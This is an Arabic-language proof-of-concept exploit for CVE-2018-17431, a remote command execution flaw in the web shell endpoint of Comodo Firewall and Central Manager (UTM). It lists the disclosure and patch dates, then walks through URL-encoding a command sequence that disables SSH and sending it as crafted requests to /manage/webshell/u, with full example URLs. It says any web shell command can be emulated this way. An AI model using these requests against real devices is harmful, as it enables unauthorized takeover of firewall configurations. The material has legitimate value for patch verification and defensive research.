CVE-2018-17431-PoC

CVE-2018-17431-PoC

إثبات المفهوم لـ CVE-2018-17431

عنوان الثغرة: Comodo Firewall & Central Manager (UTM) جميع الإصدارات قبل 2.7.0 و 1.5.0 - تنفيذ أوامر عن بُعد (يعتمد على Web Shell)

مؤلف الثغرة: ميلاد فدوي

الصفحة الرئيسية للبائع: https://www.comodo.com/

رابط البرنامج: https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276

الإصدار: قبل 2.7.0 و 1.5.0

تم الاختبار على: Windows:firefox/chrome - Kali:firefox

تاريخ الاكتشاف: 2018-08-15 (تم الإبلاغ في نفس اليوم)

تأكيد وجود الثغرة: 2018-09-22 (Ticket ID: XWR-503-79437)

إصدار التصحيح: 2018-11-23 ملاحظات الإصدار من Comodo

الاستغلال:

1. محاكاة Web Shell:

   root@kitploit:~

    على سبيل المثال تعطيل SSH في Web shell يكون كالتالي:
        - service [اضغط Enter]
        - ssh [اضغط Enter]
        - disable [اضغط Enter]
   

2. الترميز

   root@kitploit:~

    قم بترميز التسلسل أعلاه باستخدام URL ENCODING
    (استخدمت إضافة Burp Encoder)
   
    %73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
   

3. التنفيذ

   root@kitploit:~

    الرابط الأساسي: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
   
   
              https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (مفتاح Enter إضافي لتنفيذ الأمر)
   
   
    مثال: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
   
          https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
   

ستظهر صفحة برسالة "Configuration has been altered" وسيتم تغيير الإعدادات!

باستخدام هذه التقنية، يمكننا محاكاة جميع أوامر Web Shell.